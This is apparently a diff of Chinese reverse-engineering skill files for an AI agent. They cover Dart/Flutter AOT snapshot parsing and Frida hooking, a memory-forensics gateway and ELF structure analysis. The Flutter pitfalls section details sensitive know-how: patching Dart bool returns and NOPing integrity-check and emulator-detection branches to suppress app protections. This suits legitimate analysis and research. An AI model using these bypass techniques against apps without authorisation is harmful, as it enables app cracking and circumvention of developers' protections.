objcopy --dump-section .rodata=snap.rodata libapp.so # 数据段(含 VM + isolate 两份快照)
|
||||
objcopy --dump-section .text=snap.text libapp.so # 指令段
|
||||
python3 - <<'PY'
|
||||
import struct
|
||||
data = open('snap.rodata', 'rb').read()
|
||||
MAGIC = 0xDCDCF5F5 # Dart VM snapshot magic(int32;文件里是小端 f5 f5 dc dc)
|
||||
KINDS = {0: 'full', 1: 'full-jit', 2: 'full-aot'}
|
||||
off = 0
|
||||
while True:
|
||||
off = data.find(struct.pack('<I', MAGIC), off)
|
||||
if off < 0: break
|
||||
length, kind = struct.unpack('<qq', data[off+4:off+20]) # 基础头共 20 字节
|
||||
print('snapshot @', hex(off), 'kind:', KINDS.get(kind, kind), 'length:', length)
|
||||
off += 4
|
||||
PY
|
||||
```
|
||||
- **头部格式**:`magic(4, 0xdcdcf5f5)` + `length(8)` + `kind(8)` = **20 字节基础头**(其后是哈希等字段)。**没有 ASCII `"SNAPSHOT"`,也没有固定 12 字节版本串**——按字符串搜 `SNAPSHOT` 在真实 AOT 样本上找不到任何东西
|
||||
- **头之后是版本相关的内部序列化布局**(子 blob 的顺序与结构随 Dart 版本变化),**不要当稳定格式承诺**:要精确解析就对着目标 SDK 版本的 `runtime/vm/snapshot.h`、序列化器与 image snapshot 实现来读,而不是套一份写死的分区表
|
||||
- 机器码本体在**独立的指令段**(`_kDartIsolateSnapshotInstructions`),与数据段分开;`kind` 为 `full-aot` 时即 AOT 快照
|
||||
- `_kDartVmSnapshot*` 是 VM 快照(dart:core/io 等标准库,所有 Flutter App 共用),业务只在 `_kDartIsolateSnapshot*`
|
||||
- strings blob 提取业务字符串:
|
||||
```sh
|
||||
strings -n 6 -t x snap.rodata | grep -E 'https?://|token|secret|api/|MethodChannel'
|
||||
```
|
||||
- 指令段导入 Ghidra:自动分析常认不出 AOT 代码对象,需按目标版本的代码对象元数据(子 blob 布局随版本变化,见上条)划分函数边界;反编译后按字符串交叉引用定位业务函数
|
||||
- 自动替代:blutter(工具准备)还原 asm/对象池/类名;手动解析用于核对与版本兜底(坑 5)
|
||||
|
||||
3. **符号还原**:
|
||||
- 构建侧留了映射(`--obfuscate --split-debug-info`):
|
||||
```sh
|
||||
# 构建命令: flutter build apk --obfuscate --split-debug-info=symbols/
|
||||
ls symbols/ # app.android-arm64.symbols 等(每 ABI 一个)
|
||||
python3 -c "import json; d=json.load(open('symbols/app.android-arm64.symbols')); print(len(d['data']))"
|
||||
# JSON 结构: {"data": {"混淆名": "原名"}} —— 反向映射表,查表即得原名
|
||||
```
|
||||
- 无映射时字符串交叉引用反推:strings blob 里的 UI 文案 / 错误提示 / URL → Ghidra 交叉引用找引用指令 → 沿调用链上下游展开(方法对应 [[re-binary-core]] 交叉引用)
|
||||
- debug kernel_blob.bin:kernel 格式含类/函数名与 AST,strings + 结构解析直接还原调用关系,无需符号表
|
||||
|
||||
4. **引擎与业务区分**:
|
||||
- `libflutter.so` / `Flutter.framework`:Flutter 引擎(C++:Dart VM、Skia、通道实现),各 App 基本一致——不分析,仅用于取 VM 导出符号(步骤 5)
|
||||
- `libapp.so` / `App.framework/App`:Dart 业务代码 AOT 快照——分析目标
|
||||
- `_kDartVmSnapshot*`(VM 快照 / 标准库)≠ `_kDartIsolateSnapshot*`(业务):业务字符串与类名只在 isolate 快照
|
||||
- 原生插件与 MethodChannel 原生端在业务 so 之外,走 [[re-binary-core]]
|
||||
|
||||
5. **动态侧(受控设备 / 模拟器快照内,[[re-analyze/platform-tips]] 默认沙箱)**:
|
||||
- hook Dart VM 类库注册点——libflutter.so 导出的 `Dart_CreateRootLibrary`(root library 注册入口,onEnter 读库 URI):
|
||||
```js
|
||||
var f = Process.getModuleByName("libflutter.so").findExportByName("Dart_CreateRootLibrary");
|
||||
if (f) Interceptor.attach(f, {
|
||||
onEnter: function (args) {
|
||||
var uri = args[1].readCString(); // 库 URI(C 字符串)
|
||||
console.log("root library: " + uri);
|
||||
}
|
||||
});
|
||||
```
|
||||
- release AOT 下该 C API 可能不触发(库直接由快照反序列化)——改 hook VM 内部 `dart::Library::New`(libflutter.so 内符号,随版本裁剪)或直接走下面的 VM Service 枚举
|
||||
- Dart VM Service 枚举 isolate / 库(release 需先开启 VM service:hook `Dart_SetVMFlags` / `Dart_InitIsolate` 注入 `--enable-vm-service`,或改用 debug 构建验证动态行为):
|
||||
```sh
|
||||
adb forward tcp:8181 tcp:8181
|
||||
curl http://127.0.0.1:8181/getVM
|
||||
curl "http://127.0.0.1:8181/getIsolate?isolateId=isolates/1"
|
||||
curl "http://127.0.0.1:8181/getInstalledLibraries?isolateId=isolates/1"
|
||||
```
|
||||
- `getInstalledLibraries` 列出全部业务库(库名 = 包名 / 路径);`getObject` 按 objectId 枚举类/字段;VM service 元数据里类名与字符串仍可读
|
||||
- 定位到目标函数后按地址 hook(`_kDartIsolateSnapshotInstructions` 基址 + 代码对象偏移),插桩底座见 [[re-frida]]
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-mobile]]:移动 App 分析网关——Flutter 分支由 [[re-hybrid-app]] 与本技能承接(容器侧静态与动态跑通走网关)
|
||||
- [[re-hybrid-app]]:Flutter 快照自动还原(blutter / reFlutter)与 MethodChannel 拦截——与本技能(手动快照解析 + VM 层动态)互补
|
||||
- [[re-apk]] / [[re-ios]]:Android / iOS 容器侧静态(解包、manifest、签名、DEX/ObjC 原生桥接)
|
||||
- [[re-frida]]:动态插桩底座(版本匹配、spawn/attach、反检测、脚本模板)
|
||||
- [[re-binary-core]]:libapp.so / libflutter.so 的原生层([[re-format-elf]] + [[re-ghidra]] 反编译引擎与 JNI 桥)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **release 没有 kernel_blob.bin**:现象——按 debug 教程找 `assets/flutter_assets/kernel_blob.bin` 找不到;原因——构建模式决定产物:**Debug → JIT(kernel 二进制,业务代码在 kernel_blob)**,**Profile 与 Release 都是 AOT**(业务代码在 libapp.so 的快照段)——**Profile 不靠 kernel_blob 执行业务代码**,它与 Release 的差别是 profiling/service/优化配置而非执行模型;对策——先按步骤 1 判模式:无 kernel_blob → 走步骤 2 快照分区解析,别在 assets 里死找
|
||||
- **obfuscate/tree-shaking 后短名**:现象——快照里函数/类名全是 `a`/`b` 等短名或直接缺失;原因——`--obfuscate` 混淆名称 + tree-shaking 删除未引用代码;对策——构建侧有 `--split-debug-info` 映射文件就直接查表(步骤 3 JSON);没有映射则以 strings blob 的文案/URL 为锚交叉引用反推调用链;动态侧 hook 关键函数观察行为互补
|
||||
- **引擎与业务代码混淆**:现象——分析深陷 libflutter.so 的 `dart::` 内部函数或 `_kDartVmSnapshot*` 段(dart:core/io 标准库),时间空耗;原因——引擎层与 VM 快照是所有 Flutter App 共用代码,不是业务;对策——业务只分析 libapp.so 的 `_kDartIsolateSnapshot*`;libflutter.so 只取 VM 导出(步骤 4/5)
|
||||
- **frida 版本不匹配**:现象——`frida-ps -U` 报协议错误 / unable to communicate;原因——主机 frida-tools 与设备 frida-server 版本号不一致,或架构不符;对策——严格按 [[re-frida]] 工具准备:`frida --version` 对照下载同版本 frida-server,选对架构(arm64/arm/x86_64)
|
||||
- **快照版本与解析脚本不匹配**:现象——分区偏移错位、strings blob 内容乱码或解析中断;原因——Dart 版本间快照布局有差异(版本串在头部可见),手工/第三方脚本只覆盖特定版本;对策——先读头部版本串;解析按版本分支;版本过新时以通用方法兜底(magic 扫描 + 分区语义推演)
|
||||
- **hook 读 Dart 字符串读出乱码**:现象——hook 到 Dart 对象指针但打印乱码;原因——Dart 字符串不是 C 字符串(对象指针 +7 偏移处 4 字节 Smi 编码长度,右移 1 位为真实长度,+15 起为 UTF-8 数据,该偏移为社区实测值);对策——写 readDartString 工具函数按此布局读取并加长度上限(布局细节见 [[re-hybrid-app]] 坑条目);**偏移随 Dart 版本浮动**——以 `gen_snapshot --print-object-layout-to` 导出的权威偏移或实测为准,别在异版本上照抄死偏移
|
||||
- **对象池反序列化当定宽读(VLE)**:现象——blutter 对 custom engine / 结构性重排的快照失败(`No cluster defined for cid N` 或空输出)后,自写解析器读出的 ref 错位、字符串全乱;原因——Dart AOT 对象池是带 tag 的条目数组(X27 持池基址,`LDR Xn,[X27,#off]` 加载第 off/8 号槽),填充区每条目 1 字节 type(旧版 `TypeBits = eb & 0x7f`,`PatchableBit = 0x80`),type 0(kTaggedObject)带 VLE ref(变长)、**type 1(kImmediate)载荷是定宽整型(intptr_t,非 VLE)**(常见坑);无符号 VLE 每字节 7 数据位、末段 bit7 置位(5→`0x85`,27673→`19 58 81`);**注意上述 type 编号/位宽为 Dart 2.9 时代布局,现行版本 TypeBits 位数与枚举序已变——解析前先按快照版本取布局表,别跨版本套用**;对策——VLE 读 length 开头后逐条按 type 解码,slot_offset = idx × 8;先用 2–4 个已知 ref→offset 锚点验证再全量信任,锚点不符时收窄扫描窗口重试;对象池即无符号二进制的符号表——`pool_offset → {加载它的所有 PC} → {所属函数}`,让「哪些函数触及字符串 ref N」可静态回答(来源:reverse-skills(inliver233),MIT)
|
||||
- **strings 找不到中文文案**:现象——对 libapp.so 跑 `strings`/grep 找不到中文/CJK/emoji 业务文案,线索断掉;原因——Dart 快照字符串两种存储:OneByteString(Latin-1/UTF-8,可普通 grep)与 TwoByteString(**UTF-16LE**);中文/CJK/emoji 基本都在 TwoByteString,按 UTF-8 字节序列去匹配 UTF-16LE 存储当然不中;**CID 编号随 Dart 版本漂移**(旧版 85/86,现行 3.x 为 93/94/95 等),别写死 CID——从快照类表动态读;对策——对目标串同时搜 UTF-8 与 UTF-16LE 两种编码,记录 offset + 编码 + 出现次数;`--dump-utf16` 全量导出 CJK 串再 grep;对象池内函数 Code 与其加载的字符串相邻,无符号时可凭池内邻近性猜字符串↔函数归属(来源:reverse-skills(inliver233),MIT)
|
||||
- **池槽字符串查不到交叉引用**:现象——已知字符串在池中的 offset,但反编译器的交叉引用列表为空,定位不到引用函数;原因——取池只有两种标准 idiom:`ADD xR,x27,#page,LSL#12` 后跟 `LDR xD,[xR,#off]`(offset=(page<<12)+off),以及 page==0 时的直接 `LDR xD,[x27,#off]`;通用 xref 分析对这类间接取址常漏报;对策——写模式扫描器用原始字节匹配两种 idiom(不需要反编译器),函数归属用 prologue 特征(`fd 79 bf a9 fd 03 0f aa`)反向扫描定位函数起点;先用一个已知加载点校准再信全量;**「扫描器没找到」≠「无加载者」**——非标准编码的加载会被漏掉,阴性结果需第二方法交叉验证;恰好只被一个函数加载的字符串是 feature-dedicated,是功能 UI builder 的强线索(来源:reverse-skills(inliver233),MIT)
|
||||
- **build/虚方法 callers=0 误判死代码**:现象——对 build 或虚方法做 BL xref 扫描得到 0 个调用者,被误判为死代码放弃分析;原因——Dart build/虚方法不经 BL 调用,而是经分派 stub:读对象 cid → 查分派表 → `blr x30` 虚拟分派,静态 BL 扫描天然看不到;对策——callers=0 是常态,不作死代码证据;找调用者必须动态:在分派 stub 或目标函数 onEnter 捕获 `lr` + `Thread.backtrace(Backtracer.ACCURATE)` 定位分派点(「while rebuilding dirty elements」帧是框架渲染路径,业务 builder 已返回);stub 把 cid 放 x0(低 16 位)、对象指针在 x1,对象字段 @1 也存 cid 可兜底;拿到 cid 后静态搜 `movk xR,#<cid>,lsl#16` 找构造器,其 BL 调用者即父 build;X21 = 分派表基址,需覆盖全表时配合 cid→构造器静态映射(来源:reverse-skills(inliver233),MIT)
|
||||
- **Dart bool 当 0/1 处理**:现象——反编译 AOT 代码时把 bool 当普通 0/1 整数读,逻辑翻来覆去对不上;原因——Dart AOT 固定寄存器约定:X15=shadow-stack、X26=Thread、X27=Pool、X22=null 哨兵、X28=堆基(压缩指针)、X21=分派表基;**Dart bool 是 canonical 对象的 tagged pointer,不是 0/1**——True 在 null 低位偏移、False 在更高偏移(非压缩指针下 True = null+0x20(低 16 位常形如 …8061)、False = null+0x30(…8071);**压缩指针(Flutter release 默认)为 True = null+0x10(…8051)、False = null+0x18(…8059)**;消费端 `tbz w0,#4`(压缩指针为 `#3`)**bit=0 进 true 分支**——判定位为 0 的是 True;对策——按固定寄存器语义读反汇编(`mov x0,x22` 返回 Dart null;标准 prologue `stp x29,x30,[x15,#-16]!; mov x29,x15`,字节 `fd 79 bf a9 fd 03 0f aa`);bool 编码可用指令频度破解:`add xR,x22,#0x20`(压缩指针 `#0x10`)出现数千次(True)、`add xR,x22,#0x30`(压缩 `#0x18`)同理(False);偏移/判定位随指针压缩与版本浮动,以实测或 `--print-object-layout-to` 为准;Thread 全局 `G = Thread[x26+0x80]`,字段按偏移读;分配 thunk 模式 `mov x2,#imm; movk x2,#cid,lsl16; ldr x4,[x26,#0x228]; br x4`(来源:reverse-skills(inliver233),MIT)
|
||||
- **patch 物化 false 用 movz w0,#0 崩溃(SIGILL)**:现象——静态 patch 或 Frida 运行时内存写用 `movz w0,#0`(字节 52800000)物化「假」,运行时崩溃信号 4(SIGILL);原因——Dart bool 是 tagged pointer,0 是非法的 immediate tag;对策——物化 True 用 `add x0,x22,#0x20`(字节 c0820091)、False 用 `+0x30`(**压缩指针下为 True `+0x10`、False `+0x18`**);该规则同时适用于静态 patch 与 Frida 运行时内存写,写 Dart bool 一律写 canonical 地址,编码随指针压缩模式与版本浮动,以实测为准(来源:reverse-skills(inliver233),MIT)
|
||||
- **弹窗 patch 无效(三源分诊)**:现象——NOP 掉所有 showDialog 调用后弹窗照旧,或弹窗约 60 秒定时出现,反复重试成时间黑洞;原因——Flutter 弹窗只有三个来源,误分诊是最大浪费:(a) 显式 showDialog BL;(b) 未捕获异常——MissingPluginException → FlutterError.onError/zone onError → **异步弹窗,不经任何 showDialog BL**;(c) 完整性聚合门——一个聚合函数 OR 约 7 个检查,任一为真就弹窗;对策——logcat + Dart 栈帧见 MissingPluginException/Unhandled Exception 且定时出现 → 源 (b),正解是截断 fault-body 构造器(把 body 构建的条件分支改为无条件跳过),全局 handler 无内容可显示,**停止 NOP 弹窗**;弹窗文案 → 池 ref → body builder → 调用者追踪,callers=0(cid 分派)且无 showDialog BL → 也是源 (b);源 (c) 找聚合函数(引用大量 check*/get* 通道方法字符串 + 条件 → 弹窗构建),NOP 其聚合失败分支(`CMP W0,W22; B.EQ fail`)或 entry-null 弹窗构造 helper;patch 在某设备生效另一设备不生效时,用文案内容定位新触发的检查类别(如校验提示文案对应环境/模拟器检查)(来源:reverse-skills(inliver233),MIT)
|
||||
- **把 kernel 格式的 magic 当 ASCII `KERNEL`**:现象——按"文件头是 KERNEL"去 grep/xxd 判断 `kernel_blob.bin`,或按该串在容器里搜 kernel 文件,命中不了或命中的是别的东西;原因——Dart kernel 二进制的 magic 是**数值 `0x90abcdef`**(源码 `runtime/vm/kernel_binary.h` 的 `kMagicProgramFile`),文件里显示为小端字节 `ef cd ab 90`,**根本不是 ASCII 串**;header 共 8 字节(magic + formatVersion),其后还有格式版本号,可作为版本判别;对策——按 4 字节魔数判断,不要用字符串搜索
|
||||
- **按 ASCII `SNAPSHOT` 找 AOT 快照**:现象——`grep SNAPSHOT`/`data.find(b'SNAPSHOT')` 在真实 libapp.so 上零命中,于是判"没有快照"或改用字符串猜偏移;原因——Dart VM snapshot 的头部是**数值 magic `0xdcdcf5f5`**(4B)+ length(8B) + kind(8B) 的 **20 字节基础头**,**不存在 ASCII `SNAPSHOT`,也没有固定的 12 字节版本串**;头之后的子 blob 布局是**版本相关的内部序列化实现**,不能当稳定格式套;对策——按 `0xdcdcf5f5`(小端 `f5 f5 dc dc`)定位并读 length/kind(`kind` 为 `full-aot` 即 AOT 快照),要精确解析就对着目标 SDK 版本的 `runtime/vm/snapshot.h` 与序列化器实现;机器码本体在独立指令段
|
||||
- **无符号万级函数不知从哪下手**:现象——libapp.so 无符号、约两万函数,直接翻反汇编大海捞针;原因——无符号时函数边界、字符串归属、调用关系全靠静态重建,缺乏优先级信号;对策——用 prologue 特征字节(`fd 79 bf a9 fd 03 0f aa`)在 .text 内反向扫描(窗口约 0x6000–0x8000 字节)先恢复函数边界;每函数建特征向量:访问的字符串集(主导信号)、BL 目标/调用者 fan-in(`(word>>26)==0b100101` 解码 imm26)、gate 后分支点(TBZ/TBNZ/B.EQ)、null 比较(`CMP W0,W22`/`MOV X0,X22`)、bool 返回标志;四排序器把 2 万 → 短名单:关键字串短名单 → 共访问数(关键字类字符串 ≥2 个 → orchestrator)→ 双锚点集合交集(标题串+正文串的访问函数集相交 → 精确 builder,0 或 1 个函数)→ BL 调用 fan-in 向上迭代;**caller 计数 = 风险度量**——高计数(共享状态函数)避免作 patch 点,计数 1 的专用 handler 是安全目标;高 cmp + 条件分支数聚合得分用于浮现完整性门/聚合谓词(来源:reverse-skills(inliver233),MIT)
|
||||
55
vendor-new/rev-skills/.claude/skills/re-forensics/SKILL.md
Normal file
55
vendor-new/rev-skills/.claude/skills/re-forensics/SKILL.md
Normal file
@@ -0,0 +1,55 @@
|
||||
---
|
||||
name: re-forensics
|
||||
type: gateway
|
||||
description: >
|
||||
内存取证/威胁情报网关。编排:转储来源 → 内存取证 → 线索提取 → 情报关联。
|
||||
子技能:[[re-mem-forensics]] [[re-disk-forensics]] [[re-ti]]、[[re-attribution]]、[[re-hunting]]、[[re-mobile-forensics]]。
|
||||
触发词:内存取证、memdump分析、威胁情报、样本背景、VirusTotal、MISP、forensics、threat intelligence。
|
||||
capabilities: [memory-forensics, threat-intel, mobile-forensics]
|
||||
---
|
||||
|
||||
# 内存取证与威胁情报
|
||||
|
||||
## 完整工作流
|
||||
|
||||
1. 转储来源:默认转储优先——先确认有没有现成 dump。**按取证层级分流**:整机镜像(LiME/AVML/崩溃转储等,Volatility 可解析)→ 内存取证分支;进程级 `gcore` 产物是单进程 ELF core(无内核结构,Volatility 整机插件不可解析)→ 只走进程级复盘(gdb/`eu-stack`,见 [[re-memdump]](能力:`memory-dump`) 步骤 3),不进 [[re-mem-forensics]](能力:`memory-forensics`)。转储按 [[re-memdump]](能力:`memory-dump`) 执行(转储时机按明文/代码 materialization 定——单层壳在真实 OEP 附近通常合适,OEP 非通用判据;转储前按 `/proc/<pid>/maps` 过滤 `[vsyscall]`/`[vdso]`,见 [[re-analyze/platform-tips]]「直读 vs 转储」决策表与 Linux 内存转储极端段)
|
||||
2. 内存取证:[[re-mem-forensics]](能力:`memory-forensics`) —— 确认 dump 来源与架构 → 进程列表(pslist)→ 网络连接(netscan)→ 注入/异常(dlllist/malfind)→ 凭据线索(hashdump/lsadump)与可疑对象提取
|
||||
3. 线索提取:从内存取证产物里整理线索——可疑进程/注入地址/网络回连/凭据哈希/提取出的对象(模块、shellcode、明文密钥),每项记证据路径与时间戳(取证要求可追溯,见 [[re-analyze/platform-tips]])
|
||||
4. 情报关联:[[re-ti]](能力:`threat-intel`) —— 用线索中的哈希/域名/IP 查 VirusTotal / Any.run / hybrid-analysis,家族与团伙关联,结果进 [[re-ioc]](能力:`threat-intel`) 的 IOC 列表与报告
|
||||
|
||||
每步产物(dump、插件输出、提取对象)按 sha256 + 路径存档,供报告与 [[re-ioc]](能力:`threat-intel`) 引用。
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
按输入特征/目标分支:
|
||||
|
||||
- **已有 dump 或进程已死(有 .raw/.mem/.core)** → [[re-mem-forensics]](能力:`memory-forensics`;进程/网络/注入/凭据线索)
|
||||
- **没有 dump 需要现场取** → 先 [[re-memdump]](能力:`memory-dump`;默认转储优先)→ 回 [[re-mem-forensics]](能力:`memory-forensics`)
|
||||
- **要查样本背景("这个 hash/域名/IP 是什么""哪个家族")** → [[re-ti]](能力:`threat-intel`;VT/Any.run/hybrid-analysis/MISP)
|
||||
- **磁盘/文件系统取证(删除恢复、时间线、可疑文件定位)** → [[re-disk-forensics]](能力:`disk-forensics`;磁盘侧取证,与 [[re-mem-forensics]](能力:`memory-forensics`) 内存侧并列)
|
||||
- **内存分析找到可疑对象/回连后需要深挖** → 可疑模块/shellcode 转 [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`;[[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-ida]](能力:`decompilation`、`debugging`) 静态);回连行为验证转 [[re-malware]](能力:`malware-behavior`、`document-malware`、`evasion-analysis`、`key-extraction`、`threat-intel`;沙箱)
|
||||
- **只做文件静态分析,不涉及内存** → 不是本网关,转 [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`) / [[re-malware]](能力:`malware-behavior`、`document-malware`、`evasion-analysis`、`key-extraction`、`threat-intel`)
|
||||
- **容器镜像(docker save/skopeo 导出的镜像 tar)** → 下方「容器镜像取证」章节
|
||||
|
||||
## 容器镜像取证
|
||||
|
||||
- **镜像结构**:tar 归档 + 分层(每层 = 文件系统快照差异;`docker save` / `skopeo copy` 导出)
|
||||
- **层提取**:解包层归档 → 逐层文件系统分析(复用 [[re-disk-forensics]] / [[re-fw-rootfs]] 的方法:文件枚举、删除文件恢复)
|
||||
- **分析重点**:配置与密钥(环境变量、挂载点、entrypoint/CMD 脚本)、历史层残留(删除的文件在旧层仍可恢复)、恶意镜像判定(启动命令、网络行为、可疑二进制)
|
||||
- **输出**:镜像内容清单 + 可疑项列表(与 [[re-ioc]] 的指标提取衔接)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- 本网关被 [[re-malware]] 深度分析路径引用——行为分析后需查内存残留(注入、内存中的载荷、凭据)时转 [[re-forensics]];情报关联结果回传 [[re-malware]] 佐证家族判定
|
||||
- 磁盘侧取证 [[re-disk-forensics]] 与内存侧 [[re-mem-forensics]] 并列——磁盘证据(删除文件/时间线)与内存证据(进程/网络/凭据)互相佐证
|
||||
- 转储产物来自 [[re-memdump]](默认转储优先,见 [[re-analyze/platform-tips]])
|
||||
- 情报衔接 [[re-ioc]]——[[re-ti]] 的查询结果与 [[re-mem-forensics]] 的线索汇总成 IOC 列表与报告
|
||||
- 可疑对象(提取的模块/shellcode)深挖 → [[re-binary-core]]([[re-ghidra]] / [[re-ida]] 反编译)
|
||||
- 本网关被 [[re-analyze]] 的 triage「内存取证 / 情报查询」路径调用
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- 跳过转储来源确认直接跑分析 → 工具与 dump 架构不匹配全错——先 [[re-memdump]] 确认来源,按 [[re-analyze/platform-tips]] 默认转储优先取完整 dump
|
||||
- dump 被 vsyscall/vdso 垃圾页污染 → 分析结果偏差——转储前必须过滤极端段([[re-analyze/platform-tips]] Linux 内存转储极端段)
|
||||
- 取证结果不留证据链 → 报告不可复现——每步产物存档(路径 + sha256 + 时间戳)
|
||||
- 内存线索不上报验证就下结论 → 误判——可疑对象先静态深挖([[re-binary-core]]),背景查证走 [[re-ti]] 多重确认
|
||||
138
vendor-new/rev-skills/.claude/skills/re-format-elf/SKILL.md
Normal file
138
vendor-new/rev-skills/.claude/skills/re-format-elf/SKILL.md
Normal file
@@ -0,0 +1,138 @@
|
||||
---
|
||||
name: re-format-elf
|
||||
description: >
|
||||
ELF 格式解析:ehdr/phdr/shdr、GOT/PLT、init_array、符号恢复。
|
||||
触发词:ELF、解析so、dynamic section
|
||||
capabilities: [elf-parser]
|
||||
---
|
||||
|
||||
# ELF 格式解析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:目标是 Linux ELF 可执行文件或 .so 共享库,需要理解结构、看 .init_array、GOT/PLT 与符号、评估安全属性
|
||||
- 不用:PE(走 [[re-format-pe]])、Mach-O(走 [[re-format-macho]]);裸二进制固件(非标准 ELF,走 [[re-firmware]] 域)
|
||||
- 不用:只需函数逻辑(直接反编译技能)
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——ELF 目标多为 Linux 本地分析;跨架构(ARM/MIPS 固件 ELF)可用 QEMU 用户态仿真,静态分析无需沙箱。
|
||||
|
||||
### readelf(binutils)
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`
|
||||
- macOS: `brew install binutils`(`greadelf`)
|
||||
- WSL: Linux 版
|
||||
- 验证: `readelf --version`
|
||||
|
||||
### objdump(binutils)
|
||||
|
||||
- 同上(macOS 为 `gobjdump`)
|
||||
- 验证: `objdump -V`
|
||||
|
||||
### elfutils(eu-* 工具族)
|
||||
|
||||
- Linux: `apt install elfutils` / `dnf install elfutils` / `pacman -S elfutils`
|
||||
- macOS: `brew install elfutils`(`eu-readelf` 等)
|
||||
- 验证: `eu-readelf -h /bin/ls`
|
||||
|
||||
### patchelf(修改 ELF 头/加载器)
|
||||
|
||||
- Linux: `apt install patchelf` / `dnf install patchelf` / `pacman -S patchelf`
|
||||
- macOS: `brew install patchelf`
|
||||
- 验证: `patchelf --version`
|
||||
- 用途: 分析辅助(改 RPATH/解释器)与修复,分析时先只读
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **readelf 三表(ehdr/phdr/shdr)**:
|
||||
```sh
|
||||
readelf -h sample # ELF 头: Class/Machine/Entry/Type
|
||||
readelf -l sample # program headers(段→装载偏移,动态加载与 GNU_STACK 在这里)
|
||||
readelf -S sample # section headers(节→地址/大小/标志)
|
||||
```
|
||||
三表对照: `-h` 给入口点,`-l` 给运行时内存布局,`-S` 给静态节视图。
|
||||
|
||||
2. **结构速览(ehdr/phdr/shdr 布局)**:ELF 文件 = 头 + 程序头表 + 节区 + 节头表;64 位下 ehdr 64 字节、phdr 56 字节/条、shdr 64 字节/条。ehdr 关键字段与偏移:
|
||||
```
|
||||
0x00 e_ident[16] magic(7F 45 4C 46)+class(0x04:1=32位/2=64位)+data(0x05)+OSABI(0x07)
|
||||
0x10 e_type 1=REL 2=EXEC 3=DYN(PIE/so) 4=CORE
|
||||
0x12 e_machine 62=x86-64 3=i386 183=AArch64 243=RISC-V 8=MIPS
|
||||
0x18 e_entry 入口点
|
||||
0x20 e_phoff 程序头表偏移
|
||||
0x28 e_shoff 节头表偏移
|
||||
0x34 e_ehsize 64(32 位为 52)
|
||||
0x38 e_phnum | 0x3A e_shentsize | 0x3C e_shnum | 0x3E e_shstrndx
|
||||
```
|
||||
三表关系: `readelf -h` 输出的每个字段都能在文件前 64 字节里手工核对(`xxd -l 64`);程序头描述"哪些文件区段按什么权限/对齐映射到内存",节头描述"文件里的符号/字符串/代码等命名区段"。字段全表与布局图见 [[layout]]。
|
||||
|
||||
3. **初始化与终止回调(.init_array / .fini_array)**:
|
||||
```sh
|
||||
readelf -S sample | grep -iE 'init_array|fini_array'
|
||||
readelf -a sample | grep -A5 -i 'init_array'
|
||||
objdump -s -j .init_array sample # .init_array 是函数指针数组(数据节),用 -s 打印内容;-d 只反汇编代码节,实际不输出
|
||||
# 取到指针后逐个 `objdump -d --start-address=<ptr> --stop-address=<ptr+len> sample` 看回调函数
|
||||
```
|
||||
两者的执行时机不同,别混为一谈:`.init_array` 中的函数指针在启动初始化阶段(main 之前)按数组正序执行——初始化/反调试/解密常藏在这里,必须最先查;`.fini_array` 中的指针在退出/dlclose 清理阶段执行、按数组逆序,不紧跟 main(详见坑项)。
|
||||
|
||||
4. **GOT/PLT 与动态符号**:
|
||||
```sh
|
||||
objdump -d -j .plt sample # PLT 桩(外部函数调用入口)
|
||||
readelf -r sample | head -40 # 重定位表(含 GOT 条目)
|
||||
readelf -s sample | grep FUNC # 符号表(动态符号在 .dynsym)
|
||||
objdump -T sample | grep UND # 未定义符号 = 导入
|
||||
```
|
||||
|
||||
5. **动态链接结构解析要点**(.so 与动态可执行文件必查):
|
||||
```sh
|
||||
readelf -d sample # dynamic section: DT_* 标签
|
||||
readelf -s sample | head -20 # .dynsym 动态符号(导入/导出)
|
||||
readelf -r sample | grep -E 'JUMP_SLOT|GLOB_DAT|RELATIVE'
|
||||
```
|
||||
关联链: `DT_STRTAB`/`DT_SYMTAB` 标签指向 dynstr/dynsym,符号表按 `DT_SYMENT` 给出的 entry size 定长遍历(标准 ELF32 的 `Elf32_Sym` 为 16 字节、ELF64 为 24 字节;读 `DT_SYMENT` 并按该步长走,勿硬编码 24);`DT_GNU_HASH`(新)替代 `DT_HASH`(旧)做符号查找;重定位类型决定 GOT 槽行为——`R_X86_64_JUMP_SLOT`(PLT 跳转)、`GLOB_DAT`(全局变量)、`RELATIVE`(基址相对)。`DT_BIND_NOW`(或 FLAGS 的 `DF_BIND_NOW`)出现 = 启动时完成全部绑定、无惰性绑定(现代发行版默认);**但 RELRO 是独立条件**——全 RELRO = `PT_GNU_RELRO` 段 + BIND_NOW 同时成立(GOT 转只读);只有 `PT_GNU_RELRO` 是 Partial RELRO,只有 BIND_NOW 推不出 RELRO。动态区解析细节见 [[layout]]。
|
||||
|
||||
6. **stripped 二进制符号恢复思路**:
|
||||
```sh
|
||||
readelf -s sample | wc -l # 如果只剩 .dynsym(几十个),说明被 strip
|
||||
strings -n 6 sample | grep -iE 'error|usage|\.so' # 错误消息泄露内部函数名
|
||||
```
|
||||
恢复流程: 字符串交叉引用(`strings -t x` 取偏移 → 在 Ghidra/radare2 中定位引用)→ 对常见库函数做签名匹配(Ghidra FLIRT / rizin `z` 签名)→ 从 main 入口逆推调用关系。
|
||||
|
||||
7. **安全属性检查**:
|
||||
```sh
|
||||
readelf -l sample | grep -E 'GNU_STACK|GNU_RELRO'
|
||||
# GNU_STACK 无 E 标志 = 不可执行栈(NX)
|
||||
# GNU_RELRO 存在 + BIND_NOW = 全 RELRO;GOT 只读
|
||||
readelf -s sample | grep -c __stack_chk_fail # >0 仅为 SSP 线索(静态链接会因 libc 自带 SSP 误报;SSP 按函数施加,不代表全部函数受保护)
|
||||
```
|
||||
RELRO/Canary/NX 情况决定后续动态分析(如 GOT 是否可写)与 [[re-imports]] 的劫持面判断。
|
||||
|
||||
